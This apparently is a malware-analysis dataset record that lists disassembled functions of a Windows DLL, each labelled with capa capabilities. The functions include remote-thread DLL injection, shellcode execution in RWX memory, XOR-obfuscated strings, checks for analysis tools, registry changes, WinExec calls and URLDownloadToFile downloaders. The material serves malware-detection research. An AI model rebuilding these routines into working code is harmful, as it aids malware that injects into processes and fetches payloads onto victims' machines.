joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007510
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10007568
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007577
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10007538
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100075ae
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call fcn.100226f0
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x1004c828
call fcn.10004630
add esp, 4
push eax
push 0
mov ecx, 0x100abb70
call fcn.10004e20
mov eax, dword [esi + 4]
add esp, 0xc
cmp eax, 0xffffffff
je 0x100075e8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x100075fd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
mov eax, dword [ebp - 4]
push eax
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007c10
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x584
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x48]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x580], esi
call fcn.10025d10
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x560]
push 0
push ecx
call fcn.10025d10
add esp, 0xc
push 0x208
lea edx, [ebp - 0x358]
push 0
push edx
call fcn.10025d10
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x10007df3
push 0x104
lea eax, [ebp - 0x560]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10007dec
lea ecx, [ebp - 0x358]
push ecx
lea ecx, [ebp - 0x560]
call fcn.10004680
add esp, 4
test al, al
je 0x10007dec
push 0x40
lea edx, [ebp - 0x48]
push 0
push edx
call fcn.10025d10
add esp, 0xc
lea esi, [ebp - 0x560]
mov word [ebp - 0x57c], 0x5325
mov byte [ebp - 0x57a], 0
call fcn.100048d0
push eax
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x358]
call fcn.10006c90
test al, al
jne 0x10007d7c
mov edi, 0x7dbce632
lea esi, [ebp - 0x578]
call fcn.1001ce50
mov ecx, dword [ebp - 0x580]
push ecx
push eax
lea edx, [ebp - 0x150]
push edx
call fcn.100222af
add esp, 0xc
push 0
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [ebp - 0x150]
push 0
push ecx
call fcn.10025d10
add esp, 0xc
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x358]
push edx
lea ecx, [ebp - 0x48]
call fcn.10007850
test al, al
jne 0x10007db6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
lea esi, [ebp - 0x48]
call fcn.1000ca10
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
call fcn.10007ac0
test al, al
jne 0x10007dec
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
lea esi, [ebp - 0x48]
call fcn.1000ca10
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10008220
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10035930
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10008271
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x100082d6
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x100082d1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100082c8
test dl, dl
je 0x100082c4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100082c8
add eax, 2
add ecx, 2
test dl, dl
jne 0x100082a8
xor eax, eax
jmp 0x100082cd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100082ea
inc esi
cmp esi, edi
jl 0x10008280
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.1002206c
mov esp, ebp
pop ebp
ret 4

Function at 0x10008300
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x1000833c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008343
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10043b58
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000832e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x1000832e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10008336
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x10008530
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push pe_nt_image_headers32
push 0x101ae178
call esi
mov ecx, dword [ebp + 8]
push pe_nt_image_headers32
add ecx, 5
push ecx
push 0x101ae178
call fcn.10025490
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push pe_nt_image_headers32
push 0x101ae178
call esi
push 0
push 0
push 0
push 0x100084d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10008600
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10025d10
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x1004be28
call fcn.10004630
add esp, 4
push eax
push 0
mov ecx, 0x100abb70
call fcn.10004e20
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10008f00
Capabilities:
Check if file exists
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x1004a650]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
mov ecx, 0xf
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.LMEZZQY_KEYnnnqmSLLVPH]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x10008f30
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x44], 0
call ebx
test eax, eax
jne 0x10008feb
mov ecx, 0x15
jmp 0x10008f70
mov dl, byte [eax + str.V_Kxnz_pg_wHDF]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10008f70
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x2b], 0
call ebx
test eax, eax
jne 0x10008feb
mov edi, 0x68b0b710
lea esi, [esp + 0x84]
call fcn.1001d2c0
push eax
call ebx
test eax, eax
jne 0x10008feb
mov edi, 0x10043d04
sub edi, 0x32593faf
lea esi, [esp + 0x64]
call fcn.1001d2f0
push eax
call ebx
test eax, eax
jne 0x10008feb
mov edi, str.S_Kxnz_pg_wHDF
sub edi, 0x43f2140e
lea esi, [esp + 0x74]
call fcn.1001d320
push eax
call ebx
test eax, eax
jne 0x10008feb
xor al, al
jmp 0x10008fed
mov al, 1
test al, al
jne 0x100090fb
mov ecx, 6
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10009000
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x77], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10009081
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x75526f4e
mov word [esp + 0x34], 0x6e
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov ecx, 0xa1
xor eax, eax
jmp 0x10009090
mov dl, byte [eax + 0x10043d60]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x10009090
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x66], 0
call esi
test eax, eax
jne 0x100090fb
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov dword [esp + 0x18], eax
push eax
mov ecx, 0x10043d8c
sub ecx, 0x38d41ae2
lea eax, [esp + 0x28]
call fcn.1001d350
push eax
mov eax, dword [esp + 0x24]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x1000a7a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003dc08
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101acc98]
cmp eax, 0x927c0
jb 0x1000a7e3
call esi
mov dword [0x101acc98], eax
xor esi, esi
cmp dword [0x101acc84], esi
je 0x1000a854
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x101acc88]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.1000a580
mov edi, dword [ebp - 0x20]
test al, al
je 0x1000a83d
cmp edi, dword [ebp - 0x1c]
je 0x1000a83d
lea ecx, [ebp - 0x20]
push ecx
call fcn.1000a870
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a854
push edi
call fcn.10022061
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000aae0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003dbd8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101acc98]
cmp eax, 0x927c0
jb 0x1000ab27
call esi
mov dword [0x101acc98], eax
xor esi, esi
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push 0x14
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x48], esi
call fcn.1000a580
mov edi, dword [esp + 0x14]
test al, al
jne 0x1000ab78
cmp edi, dword [esp + 0x18]
jne 0x1000ab82
lea eax, [esp + 0x14]
push eax
call fcn.1000ac70
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000ab9a
push edi
call fcn.10022061
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000abb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003dc08
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101acc98]
cmp eax, 0x927c0
jb 0x1000abf3
call esi
mov dword [0x101acc98], eax
xor esi, esi
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
push 0x14
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 4], esi
call fcn.1000a580
mov edi, dword [ebp - 0x20]
test al, al
jne 0x1000ac37
cmp edi, dword [ebp - 0x1c]
jne 0x1000ac40
lea eax, [ebp - 0x20]
push eax
call fcn.1000ac70
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000ac57
push edi
call fcn.10022061
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b5b0
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
movzx ecx, byte [eax + 4]
push edi
cmp ecx, 6
ja case.default.0x1000b5be
jmp dword [ecx*4 + 0x1000b6cc]
pop edi
jmp fcn.10008f00
cmp dword [0x10acf694], 0
jne case.default.0x1000b5be
xor ecx, ecx
mov edi, 0x10009690
mov dword [0x10acf694], 1
call fcn.10004190
pop edi
ret
cmp dword [0x10acf694], 0
jne case.default.0x1000b5be
xor ecx, ecx
mov edi, 0x10009690
mov dword [0x10acf694], 2
call fcn.10004190
pop edi
ret
cmp dword [0x10acf694], 0
jne case.default.0x1000b5be
xor ecx, ecx
mov edi, 0x10009690
mov dword [0x10acf694], 3
call fcn.10004190
pop edi
ret
cmp dword [0x10acf694], 0
jne case.default.0x1000b5be
xor ecx, ecx
mov edi, 0x10009690
mov dword [0x10acf694], 4
call fcn.10004190
pop edi
ret
mov byte [0x10acf959], 0
pop edi
ret
mov byte [0x10acf959], 1
cmp byte [eax + 5], 0
setne cl
mov byte [0x10acf95b], cl
cmp byte [eax + 6], 0
setne dl
mov byte [0x10acf95c], dl
cmp byte [eax + 7], 0
setne cl
mov byte [0x10acf95d], cl
cmp byte [eax + 8], 0
setne dl
mov byte [0x10acf95e], dl
cmp byte [eax + 9], 0
setne cl
mov byte [0x10acf95f], cl
cmp byte [eax + 0xa], 0
setne dl
mov byte [0x10acf960], dl
cmp byte [eax + 0xb], 0
setne al
mov byte [0x10acf961], al
pop edi
ret
Function at 0x1000cc50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e108
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x75
xor eax, eax
mov bl, byte [eax + 0x10044140]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x34], bl
inc eax
and ecx, 0xff
cmp eax, 0x21
jb 0x1000cc82
mov byte [ebp - 0x13], dl
lea eax, [ebp - 0x34]
push eax
push 2
mov eax, 0x100acaa8
mov dword [ebp - 4], edx
call fcn.10005700
add esp, 8
call fcn.10004330
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret

Function at 0x1000cce0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x49
xor eax, eax
mov dl, byte [eax + str.:__8__8_q]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x1000ccf7
push 0
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10004330
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x1000dfb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003eac8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x68], ebx
call fcn.10003d70
test al, al
jne 0x1000e049
call fcn.10003e20
test al, al
jne 0x1000e049
mov edi, 0x2a3251fe
lea esi, [ebp - 0x38]
call fcn.1001d5b0
push ebx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x1000e049
mov edi, str.r_jaajkmfg
sub edi, 0x3ed419b4
lea esi, [ebp - 0x28]
call fcn.1001d5e0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
test eax, eax
jne 0x1000e049
mov ecx, str.zGINS_nAJK
sub ecx, 0x13b12eb4
lea eax, [ebp - 0x1c]
call fcn.1001d610
push eax
call esi
test eax, eax
jne 0x1000e049
xor al, al
jmp 0x1000e04b
mov al, 1
cmp al, bl
je 0x1000e088
mov ecx, 0xe8
xor eax, eax
mov dl, byte [eax + 0x100441f0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x64], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x1000e056
mov byte [ebp - 0x3a], bl
lea eax, [ebp - 0x64]
push eax
push 2
mov eax, 0x100acaa8
mov dword [ebp - 4], ebx
call fcn.10005700
add esp, 8
cmp byte [0x10acf6a2], bl
jne 0x1000e09c
xor ecx, ecx
mov edi, 0x1000cd40
call fcn.10004190
cmp byte [0x10acf6a0], bl
jne 0x1000e0b0
xor ecx, ecx
mov edi, 0x1000d260
call fcn.10004190
cmp byte [0x10acf6a3], bl
jne 0x1000e0c4
xor ecx, ecx
mov edi, 0x1000ae40
call fcn.10004190
cmp byte [0x10acf6a1], bl
jne 0x1000e0d8
xor ecx, ecx
mov edi, 0x1000cfa0
call fcn.10004190
cmp byte [0x10acf6a4], bl
jne 0x1000e0ec
xor ecx, ecx
mov edi, 0x1000e120
call fcn.10004190
mov dword [0x10acf6a0], ebx
mov byte [0x10acf6a4], bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x1000edf0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10025d10
add esp, 0xc
mov ecx, 0xcf
xor eax, eax
mov dl, byte [eax + 0x10044308]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000ee23
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.100222af
add esp, 0xc
mov ecx, 0xce
xor eax, eax
mov dl, byte [eax + 0x1004432c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000ee63
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000eed4
mov ecx, 0xc3
xor eax, eax
mov dl, byte [eax + 0x10044348]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000eea4
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000ef50
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10025d10
add esp, 0xc
mov ecx, 0xa6
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + 0x10044364]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000ef00
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.100222af
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x1000ef60
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10025d10
add esp, 0xc
mov ecx, 0xee
xor eax, eax
mov dl, byte [eax + 0x10044394]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000ef93
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.100222af
add esp, 0xc
mov ecx, 0xbb
xor eax, eax
mov dl, byte [eax + 0x100443b8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000efd3
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000f044
mov ecx, 0x69
xor eax, eax
mov dl, byte [eax + 0x100443d4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000f014
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000f0c0
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10025d10
add esp, 0xc
mov ecx, 0x4b
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + str.89_u]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000f070
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.100222af
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret